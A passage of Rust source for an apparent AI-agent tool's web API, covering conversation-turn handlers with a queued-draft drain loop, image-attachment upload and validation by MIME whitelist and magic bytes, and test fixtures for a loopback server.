3405 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3406 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3407 };
3408 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3409 let cfg = config_for(&repo).await?;
3410 let view = blocking(move || {
3411 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3412 let thinking = ui.is_thinking(&talk.id);
3413 Ok(TalkView::new(talk, thinking))
3414 })
3415 .await?;
3416 Ok((StatusCode::CREATED, Json(view)))
3417}
3418
3419async fn talk_detail(
3421 State(ui): State<Arc<Ui>>,
3422 Path(id): Path<String>,
3423) -> ApiResult<Json<TalkDetailView>> {
3424 blocking(move || {
3425 let id = resolve_talk(&ui.talks, &id)?;
3426 let talk = ui.talks.get(&id)?;
3427 let thinking = ui.is_thinking(&talk.id);
3428 let tasks = talk::tasks_of(&ui.queue, &talk.id)
3429 .into_iter()
3430 .map(TaskView::from)
3431 .collect();
3432 Ok(Json(TalkDetailView {
3433 view: TalkView::new(talk, thinking),
3434 tasks,
3435 }))
3436 })
3437 .await
3438}
3439
3440#[derive(Debug, Default, Deserialize)]
3446#[serde(default, deny_unknown_fields)]
3447struct NewTalkTurn {
3448 text: String,
3449 attachments: Vec<String>,
3450}
3451
3452#[derive(Debug, Deserialize)]
3453#[serde(deny_unknown_fields)]
3454struct EditTalkPending {
3455 text: String,
3456 expected_text: String,
3457 expected_attachments: Vec<String>,
3458}
3459
3460#[derive(Debug, Deserialize)]
3461#[serde(deny_unknown_fields)]
3462struct ClearTalkPending {
3463 expected_text: String,
3464 expected_attachments: Vec<String>,
3465}
3466
3467async fn talk_say(
3479 State(ui): State<Arc<Ui>>,
3480 Path(id): Path<String>,
3481 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3482) -> ApiResult<(StatusCode, Json<TalkView>)> {
3483 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3484 if body.text.trim().is_empty() && body.attachments.is_empty() {
3485 return Err(ApiError::bad_request("say something"));
3486 }
3487
3488 let id = {
3489 let ui = Arc::clone(&ui);
3490 let asked = id.clone();
3491 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3492 };
3493 {
3497 let ui = Arc::clone(&ui);
3498 let id = id.clone();
3499 blocking(move || {
3500 let talk = ui.talks.get(&id)?;
3501 if !talk.status.open() {
3502 return Err(ApiError::conflict(format!(
3503 "talk {} is {} and takes no more turns",
3504 talk.short(),
3505 talk.status.as_str()
3506 )));
3507 }
3508 Ok(())
3509 })
3510 .await?;
3511 }
3512
3513 let attachments = {
3518 let ui = Arc::clone(&ui);
3519 let id = id.clone();
3520 let ids = body.attachments.clone();
3521 blocking(move || {
3522 ids.into_iter()
3523 .map(|att_id| {
3524 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
3525 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
3526 })
3527 })
3528 .collect::<ApiResult<Vec<talk::Attachment>>>()
3529 })
3530 .await?
3531 };
3532
3533 let start = {
3538 let ui = Arc::clone(&ui);
3539 let id = id.clone();
3540 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
3541 };
3542 let turn_guard = match start {
3543 TalkTurnStart::Claimed(turn_guard) => turn_guard,
3544 TalkTurnStart::Pending => {
3545 return Err(ApiError::conflict(
3546 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
3547 ));
3548 }
3549 TalkTurnStart::Busy => {
3550 let (tx, rx) = tokio::sync::oneshot::channel();
3566 tokio::spawn({
3567 let ui = Arc::clone(&ui);
3568 let id = id.clone();
3569 let said = body.text.clone();
3570 async move {
3571 let written = blocking({
3572 let ui = Arc::clone(&ui);
3573 let id = id.clone();
3574 move || {
3575 let mut talk = ui.talks.get(&id)?;
3576 #[cfg(test)]
3581 if let Some(gate) = ui
3582 .busy_queue_gate
3583 .lock()
3584 .unwrap_or_else(PoisonError::into_inner)
3585 .take()
3586 {
3587 let _ = gate.reached.send(());
3588 let _ = gate.release.recv();
3589 }
3590 if let Err(error) =
3591 talk::queue(&mut talk, &ui.talks, &said, attachments)
3592 {
3593 if let Ok(fresh) = ui.talks.get(&id) {
3594 if !fresh.status.open() {
3595 return Err(ApiError::conflict(format!(
3596 "talk {} is {} and takes no more turns",
3597 fresh.short(),
3598 fresh.status.as_str()
3599 )));
3600 }
3601 }
3602 return Err(ApiError::from(error));
3603 }
3604 let claim = match ui.begin_queued_talk_turn(&id)? {
3615 Some(turn_guard) => {
3616 let (cfg, _) = Config::discover(&talk.repo, None)?;
3617 Some((talk.clone(), cfg, turn_guard))
3618 }
3619 None => None,
3620 };
3621 let thinking = ui.is_thinking(&id);
3622 Ok((TalkView::new(talk, thinking), claim))
3623 }
3624 })
3625 .await;
3626 let (view, reclaimed) = match written {
3627 Ok(pair) => pair,
3628 Err(e) => {
3629 let _ = tx.send(Err(e));
3634 return;
3635 }
3636 };
3637 let _ = tx.send(Ok(view));
3640 if let Some((talk, cfg, turn_guard)) = reclaimed {
3641 let talks = ui.talks.clone();
3642 drain_loop(talk, talks, cfg, id, turn_guard).await;
3643 }
3644 }
3645 });
3646 let view = rx
3647 .await
3648 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
3649 return Ok((StatusCode::ACCEPTED, Json(view)));
3650 }
3651 };
3652
3653 let (talk, cfg) = {
3654 let ui = Arc::clone(&ui);
3655 let id = id.clone();
3656 blocking(move || {
3657 let talk = ui.talks.get(&id)?;
3658 let (cfg, _) = Config::discover(&talk.repo, None)?;
3659 Ok((talk, cfg))
3660 })
3661 .await?
3662 };
3663
3664 let talks = ui.talks.clone();
3665 let (tx, rx) = tokio::sync::oneshot::channel();
3680 tokio::spawn({
3681 let ui = Arc::clone(&ui);
3682 let talks = talks.clone();
3683 let id = id.clone();
3684 let said = body.text.clone();
3685 let mut talk = talk.clone();
3686 async move {
3687 let recorded = blocking({
3688 let talks = talks.clone();
3689 move || {
3690 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
3691 if let Ok(fresh) = talks.get(&talk.id) {
3692 if !fresh.status.open() {
3693 return Err(ApiError::conflict(format!(
3694 "talk {} is {} and takes no more turns",
3695 fresh.short(),
3696 fresh.status.as_str()
3697 )));
3698 }
3699 }
3700 return Err(ApiError::from(error));
3701 }
3702 Ok((said.trim().to_owned(), talk))
3708 }
3709 })
3710 .await;
3711 let (text, mut talk) = match recorded {
3712 Ok(pair) => pair,
3713 Err(e) => {
3714 let _ = tx.send(Err(e));
3718 return;
3719 }
3720 };
3721 let queued = talk.clone();
3722 let thinking = ui.is_thinking(&id);
3723 let _ = tx.send(Ok((queued, thinking)));
3726
3727 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3728 tracing::warn!("talk {id} turn failed: {e:#}");
3732 }
3733 drain_loop(talk, talks, cfg, id, turn_guard).await;
3736 }
3737 });
3738
3739 let (queued, thinking) = rx
3740 .await
3741 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
3742
3743 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
3745}
3746
3747async fn talk_pending_resume(
3751 State(ui): State<Arc<Ui>>,
3752 Path(id): Path<String>,
3753) -> ApiResult<(StatusCode, Json<TalkView>)> {
3754 let id = {
3755 let ui = Arc::clone(&ui);
3756 let asked = id.clone();
3757 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3758 };
3759 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
3760 return Err(ApiError::conflict(
3761 "a talk turn is already running; the queued draft will be handled by it",
3762 ));
3763 };
3764 let (talk, cfg) = {
3765 let ui = Arc::clone(&ui);
3766 let id = id.clone();
3767 blocking(move || {
3768 let talk = ui.talks.get(&id)?;
3769 if !talk.status.open() {
3770 return Err(ApiError::conflict(format!(
3771 "talk {} is {} and takes no more turns",
3772 talk.short(),
3773 talk.status.as_str()
3774 )));
3775 }
3776 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
3777 return Err(ApiError::conflict("there is no queued draft to resume"));
3778 }
3779 let (cfg, _) = Config::discover(&talk.repo, None)?;
3780 Ok((talk, cfg))
3781 })
3782 .await?
3783 };
3784 let view = TalkView::new(talk.clone(), true);
3785 let talks = ui.talks.clone();
3786 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3787 Ok((StatusCode::ACCEPTED, Json(view)))
3788}
3789
3790async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
3806 let live_set = Arc::clone(&turn.turns);
3807 let mut turn = Some(turn);
3815 loop {
3816 let observed = live_set
3820 .lock()
3821 .unwrap_or_else(PoisonError::into_inner)
3822 .queued
3823 .get(&id)
3824 .copied()
3825 .unwrap_or(0);
3826 let drained = blocking({
3827 let talks = talks.clone();
3828 move || {
3829 let result = talk::drain(&mut talk, &talks);
3830 Ok((talk, result))
3831 }
3832 })
3833 .await;
3834 let (next_talk, result) = match drained {
3835 Ok(drained) => drained,
3836 Err(e) => {
3837 tracing::warn!(
3838 status = %e.status,
3839 message = %e.message,
3840 "talk {id} could not start queued-text drain"
3841 );
3842 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3843 turn.take()
3844 .expect("held for the whole loop until released here")
3845 .release(&mut live);
3846 break;
3847 }
3848 };
3849 talk = next_talk;
3850 let drained = match result {
3851 Ok(Some(drained)) => drained,
3852 Ok(None) => {
3853 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3854 if live.queued.get(&id).copied().unwrap_or(0) != observed {
3855 continue;
3856 }
3857 turn.take()
3858 .expect("held for the whole loop until released here")
3859 .release(&mut live);
3860 break;
3861 }
3862 Err(e) => {
3863 tracing::warn!("talk {id} could not drain queued text: {e:#}");
3864 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3865 turn.take()
3866 .expect("held for the whole loop until released here")
3867 .release(&mut live);
3868 break;
3869 }
3870 };
3871 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
3872 tracing::warn!("talk {id} turn failed: {e:#}");
3873 }
3874 }
3875}
3876
3877async fn talk_pending_clear(
3879 State(ui): State<Arc<Ui>>,
3880 Path(id): Path<String>,
3881 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
3882) -> ApiResult<Json<TalkView>> {
3883 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3884 blocking(move || {
3885 let id = resolve_talk(&ui.talks, &id)?;
3886 let mut talk = ui.talks.get(&id)?;
3887 if !talk.status.open() {
3888 return Err(ApiError::conflict(format!(
3889 "talk {} is {} and takes no more turns",
3890 talk.short(),
3891 talk.status.as_str()
3892 )));
3893 }
3894 if !talk::clear_pending_if_matches(
3895 &mut talk,
3896 &ui.talks,
3897 &body.expected_text,
3898 &body.expected_attachments,
3899 )? {
3900 return Err(ApiError::conflict(
3901 "queued message changed; reload it before clearing",
3902 ));
3903 }
3904 let thinking = ui.is_thinking(&talk.id);
3905 Ok(Json(TalkView::new(talk, thinking)))
3906 })
3907 .await
3908}
3909
3910async fn talk_pending_edit(
3914 State(ui): State<Arc<Ui>>,
3915 Path(id): Path<String>,
3916 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
3917) -> ApiResult<Json<TalkView>> {
3918 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3919 let (view, reclaimed) = blocking({
3920 let ui = Arc::clone(&ui);
3921 move || {
3922 let id = resolve_talk(&ui.talks, &id)?;
3923 let mut talk = ui.talks.get(&id)?;
3924 if !talk.status.open() {
3925 return Err(ApiError::conflict(format!(
3926 "talk {} is {} and takes no more turns",
3927 talk.short(),
3928 talk.status.as_str()
3929 )));
3930 }
3931 if !talk::edit_pending_text(
3932 &mut talk,
3933 &ui.talks,
3934 &body.text,
3935 &body.expected_text,
3936 &body.expected_attachments,
3937 )? {
3938 return Err(ApiError::conflict(
3939 "queued message changed; reload it before editing",
3940 ));
3941 }
3942 let claim = match ui.begin_queued_talk_turn(&id)? {
3943 Some(turn_guard) => {
3944 let (cfg, _) = Config::discover(&talk.repo, None)?;
3945 Some((talk.clone(), cfg, id.clone(), turn_guard))
3946 }
3947 None => None,
3948 };
3949 let thinking = ui.is_thinking(&id);
3950 Ok((TalkView::new(talk, thinking), claim))
3951 }
3952 })
3953 .await?;
3954 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
3955 let talks = ui.talks.clone();
3956 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3957 }
3958 Ok(Json(view))
3959}
3960
3961async fn talk_close(
3963 State(ui): State<Arc<Ui>>,
3964 Path(id): Path<String>,
3965) -> ApiResult<Json<TalkView>> {
3966 blocking(move || {
3967 let id = resolve_talk(&ui.talks, &id)?;
3968 let mut talk = ui.talks.get(&id)?;
3969 talk::close(&mut talk, &ui.talks)?;
3970 let thinking = ui.is_thinking(&talk.id);
3971 Ok(Json(TalkView::new(talk, thinking)))
3972 })
3973 .await
3974}
3975
3976async fn talk_reopen(
3978 State(ui): State<Arc<Ui>>,
3979 Path(id): Path<String>,
3980) -> ApiResult<Json<TalkView>> {
3981 blocking(move || {
3982 let id = resolve_talk(&ui.talks, &id)?;
3983 let mut talk = ui.talks.get(&id)?;
3984 talk::reopen(&mut talk, &ui.talks)?;
3985 let thinking = ui.is_thinking(&talk.id);
3986 Ok(Json(TalkView::new(talk, thinking)))
3987 })
3988 .await
3989}
3990
3991async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4001 blocking(move || {
4002 let id = resolve_talk(&ui.talks, &id)?;
4003 ui.talks.remove(&id)?;
4004 Ok(StatusCode::NO_CONTENT)
4005 })
4006 .await
4007}
4008
4009fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
4011 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
4012}
4013
4014async fn talk_attachment_post(
4017 State(ui): State<Arc<Ui>>,
4018 Path(id): Path<String>,
4019 headers: HeaderMap,
4020 body: Bytes,
4021) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
4022 let mime = validate_attachment(&headers, &body)?;
4023 let name = filename_header(&headers);
4024 let data = body.to_vec();
4025 blocking(move || {
4026 let id = resolve_talk(&ui.talks, &id)?;
4027 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
4028 Ok((StatusCode::CREATED, Json(att)))
4029 })
4030 .await
4031}
4032
4033async fn talk_attachment_get(
4036 State(ui): State<Arc<Ui>>,
4037 Path((id, att)): Path<(String, String)>,
4038) -> ApiResult<Response> {
4039 blocking(move || {
4040 let id = resolve_talk(&ui.talks, &id)?;
4041 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
4042 return Err(ApiError::not_found(format!(
4043 "talk {id} has no attachment `{att}`"
4044 )));
4045 };
4046 Ok(attachment_response(&meta.mime, data))
4047 })
4048 .await
4049}
4050
4051fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
4062 if data.len() > ATTACHMENT_MAX_BYTES {
4063 return Err(ApiError::bad_request(format!(
4064 "attachment is {} bytes, over the {} MiB limit",
4065 data.len(),
4066 ATTACHMENT_MAX_BYTES / (1024 * 1024)
4067 ))
4068 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
4069 }
4070 if data.is_empty() {
4071 return Err(ApiError::bad_request("attachment is empty"));
4072 }
4073 let declared = declared_mime(headers)?;
4074 match sniffed_mime(data) {
4075 Some(sniffed) if sniffed == declared => Ok(declared),
4076 Some(sniffed) => Err(ApiError::bad_request(format!(
4077 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4078 ))),
4079 None => Err(ApiError::bad_request(
4080 "the file's bytes do not match any accepted image format",
4081 )),
4082 }
4083}
4084
4085fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4089 let raw = headers
4090 .get(header::CONTENT_TYPE)
4091 .and_then(|v| v.to_str().ok())
4092 .unwrap_or("")
4093 .split(';')
4094 .next()
4095 .unwrap_or("")
4096 .trim()
4097 .to_ascii_lowercase();
4098 ATTACHMENT_MIME_WHITELIST
4099 .iter()
4100 .find(|&&m| m == raw)
4101 .copied()
4102 .ok_or_else(|| {
4103 if raw == "image/svg+xml" {
4104 ApiError::bad_request(
4105 "SVG is not accepted: it can carry active content (e.g. a <script>), \
4106 not just a picture",
4107 )
4108 } else if raw.is_empty() {
4109 ApiError::bad_request("Content-Type is required for an attachment upload")
4110 } else {
4111 ApiError::bad_request(format!(
4112 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4113 image/gif or image/webp"
4114 ))
4115 }
4116 })
4117}
4118
4119fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4122 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4123 Some("image/png")
4124 } else if data.starts_with(b"\xff\xd8\xff") {
4125 Some("image/jpeg")
4126 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4127 Some("image/gif")
4128 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4129 Some("image/webp")
4130 } else {
4131 None
4132 }
4133}
4134
4135fn filename_header(headers: &HeaderMap) -> String {
4141 headers
4142 .get(FILENAME_HEADER)
4143 .and_then(|v| v.to_str().ok())
4144 .map(str::trim)
4145 .filter(|s| !s.is_empty())
4146 .unwrap_or("attachment")
4147 .to_owned()
4148}
4149
4150fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4157 let content_type = ATTACHMENT_MIME_WHITELIST
4158 .iter()
4159 .find(|&&m| m == mime)
4160 .copied()
4161 .unwrap_or("application/octet-stream");
4162 (
4163 [
4164 (header::CONTENT_TYPE, content_type),
4165 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4166 ],
4167 body,
4168 )
4169 .into_response()
4170}
4171
4172async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4180 let repo = repo.to_path_buf();
4181 blocking(move || {
4182 let (cfg, _) = Config::discover(&repo, None)?;
4183 Ok(cfg)
4184 })
4185 .await
4186}
4187
4188fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4194 let mut hits = ids
4195 .into_iter()
4196 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4197 match (hits.next(), hits.next()) {
4198 (Some(one), None) => Ok(one),
4199 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4200 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4201 "`{prefix}` matches more than one {what}, including {a} and {b}"
4202 ))),
4203 }
4204}
4205
4206#[cfg(test)]
4207mod tests {
4208 use pretty_assertions::assert_eq;
4209 use serde_json::Value;
4210 use tempfile::TempDir;
4211 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4212
4213 use super::*;
4214 use crate::config::Config;
4215 use crate::queue::{Source, TaskStatus};
4216
4217 const SETTLE_STEPS: usize = 3_000;
4228
4229 struct Fixture {
4235 home: TempDir,
4236 addr: SocketAddr,
4237 }
4238
4239 impl Fixture {
4240 async fn start() -> Self {
4241 Self::with_loop(launch_idle).await
4242 }
4243
4244 async fn with_loop(launch: Launch) -> Self {
4246 let home = TempDir::new().expect("temp home");
4247 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4248 Self { home, addr }
4249 }
4250
4251 async fn with_repo(repo: PathBuf) -> Self {
4255 let home = TempDir::new().expect("temp home");
4256 let addr = Self::serve(home.path(), repo, launch_idle).await;
4257 Self { home, addr }
4258 }
4259
4260 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4261 let queue = Queue::at(home.join("queue"));
4262 let runs = home.join("runs");
4263 std::fs::create_dir_all(&runs).expect("runs dir");
4264 let worktrees = home.join("wt").join("magi");
4265 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4266 let ui = Ui::new(
4267 queue,
4268 Questions::at(home.join("questions")),
4269 Talks::at(home.join("talks")),
4270 runs,
4271 home.to_path_buf(),
4272 repo,
4273 )
4274 .with_worktrees_root(worktrees)
4275 .with_launch(launch);
4276 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4277 .await
4278 .expect("bind loopback");
4279 let addr = listener.local_addr().expect("local addr");
4280 tokio::spawn(async move {
4281 let _ = axum::serve(listener, ui.router()).await;
4282 });
4283 addr
4284 }
4285
4286 fn queue(&self) -> Queue {
4287 Queue::at(self.home.path().join("queue"))
4288 }
4289
4290 fn questions(&self) -> Questions {
4291 Questions::at(self.home.path().join("questions"))
4292 }
4293
4294 fn talks(&self) -> Talks {
4295 Talks::at(self.home.path().join("talks"))
4296 }
4297
4298 fn runs(&self) -> PathBuf {
4299 self.home.path().join("runs")
4300 }
4301
4302 async fn get(&self, path: &str) -> Res {
4303 request(self.addr, "GET", path, None).await
4304 }
4305
4306 async fn head(&self, path: &str) -> Res {
4311 request(self.addr, "HEAD", path, None).await
4312 }
4313
4314 async fn post(&self, path: &str, body: Option<&str>) -> Res {
4315 request(self.addr, "POST", path, body).await
4316 }
4317
4318 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4319 request_with(self.addr, "GET", path, None, extra).await
4320 }
4321
4322 async fn delete(&self, path: &str) -> Res {
4323 request(self.addr, "DELETE", path, None).await
4324 }
4325
4326 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4328 request_bytes(self.addr, path, headers, body).await
4329 }
4330 }
4331
4332 struct Res {
4333 status: u16,
4334 headers: String,
4335 head: String,
4340 body: String,
4341 bytes: Vec<u8>,
4345 }
4346
4347 impl Res {
4348 fn json(&self) -> Value {
4349 serde_json::from_str(&self.body)
4350 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4351 }
4352
4353 fn header(&self, name: &str) -> Option<&str> {
4355 self.head.lines().find_map(|line| {
4356 let (key, value) = line.split_once(':')?;
4357 key.trim()
4358 .eq_ignore_ascii_case(name)
4359 .then(|| value.trim_start().trim_end_matches('\r'))
4360 })
4361 }
4362 }
4363
4364 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4367 request_with(addr, method, path, body, &[]).await
4368 }
4369
4370 async fn request_with(
4374 addr: SocketAddr,
4375 method: &str,
4376 path: &str,
4377 body: Option<&str>,
4378 extra: &[(&str, &str)],
4379 ) -> Res {
4380 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4381 for (name, value) in extra {
4382 head.push_str(&format!("{name}: {value}\r\n"));
4383 }
4384 if let Some(body) = body {
4385 head.push_str("Content-Type: application/json\r\n");
4386 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4387 }
4388 head.push_str("\r\n");
4389 if let Some(body) = body {
4390 head.push_str(body);
4391 }
4392 let mut socket = tokio::net::TcpStream::connect(addr)
4393 .await
4394 .expect("connect to the test server");
4395 socket
4396 .write_all(head.as_bytes())
4397 .await
4398 .expect("write request");
4399 let mut raw = Vec::new();
4400 socket.read_to_end(&mut raw).await.expect("read response");
4401 let split = raw
4404 .windows(4)
4405 .position(|w| w == b"\r\n\r\n")
4406 .expect("a header block");
4407 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4408 let bytes = raw[split + 4..].to_vec();
4409 let status = head
4410 .lines()
4411 .next()
4412 .and_then(|line| line.split_whitespace().nth(1))
4413 .and_then(|code| code.parse().ok())
4414 .expect("a status line");
4415 Res {
4416 status,
4417 headers: head.to_lowercase(),
4418 head,
4419 body: String::from_utf8_lossy(&bytes).into_owned(),
4420 bytes,
4421 }
4422 }
4423
4424 async fn request_bytes(
4430 addr: SocketAddr,
4431 path: &str,
4432 headers: &[(&str, &str)],
4433 body: &[u8],
4434 ) -> Res {
4435 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4436 for (name, value) in headers {
4437 head.push_str(&format!("{name}: {value}\r\n"));
4438 }
4439 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
4440 let mut socket = tokio::net::TcpStream::connect(addr)
4441 .await
4442 .expect("connect to the test server");
4443 socket
4444 .write_all(head.as_bytes())
4445 .await
4446 .expect("write request head");
4447 socket.write_all(body).await.expect("write request body");
4448 let mut raw = Vec::new();
4449 socket.read_to_end(&mut raw).await.expect("read response");
4450 let split = raw
4451 .windows(4)
4452 .position(|w| w == b"\r\n\r\n")
4453 .expect("a header block");
4454 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4455 let bytes = raw[split + 4..].to_vec();
4456 let status = head
4457 .lines()
4458 .next()
4459 .and_then(|line| line.split_whitespace().nth(1))
4460 .and_then(|code| code.parse().ok())
4461 .expect("a status line");
4462 Res {
4463 status,
4464 headers: head.to_lowercase(),
4465 head,
4466 body: String::from_utf8_lossy(&bytes).into_owned(),
4467 bytes,
4468 }
4469 }
4470
4471 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
4473 let mut state = RunState::new(
4474 PathBuf::from("/repo/magi"),
4475 "main".to_owned(),
4476 "0123456789abcdef".to_owned(),
4477 "Add a web UI\n\nMobile first.".to_owned(),
4478 Config::default(),
4479 );
4480 state.id = id.to_owned();
4481 state.status = status;
4482 let dir = runs.join(id);
4483 std::fs::create_dir_all(&dir).expect("run dir");
4484 std::fs::write(
4485 dir.join("run.json"),
4486 serde_json::to_string_pretty(&state).expect("serialize run"),
4487 )
4488 .expect("write run.json");
4489 }
4490
4491 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
4492 let body = serde_json::json!({
4493 "schema": 1,
4494 "pid": 4242,
4495 "started_at": Timestamp::now().to_string(),
4496 "updated_at": updated_at.to_string(),
4497 "idle": false,
4498 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
4499 "completed": 7,
4500 "polls": 143,
4501 });
4502 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
4503 }
4504
4505 fn launch_idle(
4515 _opts: daemon::Opts,
4516 stop: daemon::Stop,
4517 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4518 Box::pin(async move {
4519 while !stop.stopped() {
4520 tokio::time::sleep(Duration::from_millis(2)).await;
4521 }
4522 Ok(())
4523 })
4524 }
4525
4526 fn launch_broken(
4529 _opts: daemon::Opts,
4530 _stop: daemon::Stop,
4531 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4532 Box::pin(async {
4533 Err(anyhow::anyhow!(
4534 "publish the daemon status file: read-only file system"
4535 ))
4536 })
4537 }
4538
4539 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
4546 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
4547
4548 fn launch_knocking_on_the_way_out(
4555 _opts: daemon::Opts,
4556 stop: daemon::Stop,
4557 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4558 Box::pin(async move {
4559 while !stop.stopped() {
4560 tokio::time::sleep(Duration::from_millis(2)).await;
4561 }
4562 let addr = PARK_KNOCK
4563 .lock()
4564 .expect("park knock")
4565 .expect("the test set an address");
4566 let heard = request(addr, "GET", "/api/health", None).await.status;
4567 *PARK_HEARD.lock().expect("park heard") = Some(heard);
4568 Ok(())
4569 })
4570 }
4571
4572 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
4581 for _ in 0..SETTLE_STEPS {
4582 let view = fx.get("/api/loop").await.json();
4583 if want(&view) {
4584 return view;
4585 }
4586 tokio::time::sleep(Duration::from_millis(10)).await;
4587 }
4588 panic!(
4589 "the loop never settled: {}",
4590 fx.get("/api/loop").await.json()
4591 );
4592 }
4593
4594 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
4596 let store = fx.questions();
4597 let mut q = Question::new(
4598 "20260902-000000-beef".to_owned(),
4599 "implement".to_owned(),
4600 "impl-A".to_owned(),
4601 summary.to_owned(),
4602 "because it matters".to_owned(),
4603 choices.iter().map(|c| (*c).to_owned()).collect(),
4604 );
4605 store.put(&mut q).expect("put question");
4606 q.id
4607 }
4608
4609 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
4615 let store = fx.questions();
4616 let mut q = Question::new(
4617 "20260902-000000-beef".to_owned(),
4618 "land".to_owned(),
4619 "fix".to_owned(),
4620 "Merge this?".to_owned(),
4621 "the diff is in the panel".to_owned(),
4622 vec!["merge".to_owned(), "hold".to_owned()],
4623 );
4624 let staging = fx.home.path().join("staging");
4627 std::fs::create_dir_all(&staging).expect("staging dir");
4628 let sources: Vec<PathBuf> = assets
4629 .iter()
4630 .map(|(name, bytes)| {
4631 let path = staging.join(name);
4632 std::fs::write(&path, bytes).expect("write staged asset");
4633 path
4634 })
4635 .collect();
4636 store
4637 .put_panel(&mut q, html, &sources)
4638 .expect("write the panel");
4639 store.put(&mut q).expect("put question");
4640 q.id
4641 }
4642
4643 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
4652 let store = fx.talks();
4653 std::fs::create_dir_all(store.root()).expect("talks dir");
4654 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
4655 .expect("serialize a seat");
4656 let body = serde_json::json!({
4657 "schema": 1,
4658 "id": id,
4659 "repo": "/repo/magi",
4660 "agent": "mock",
4661 "status": status,
4662 "turns": [],
4663 "created_at": Timestamp::now().to_string(),
4664 "updated_at": Timestamp::now().to_string(),
4665 "seat": seat,
4666 });
4667 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
4668 store.get(id).expect("the seeded talk has to be readable");
4669 id.to_owned()
4670 }
4671
4672 #[tokio::test]
4673 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
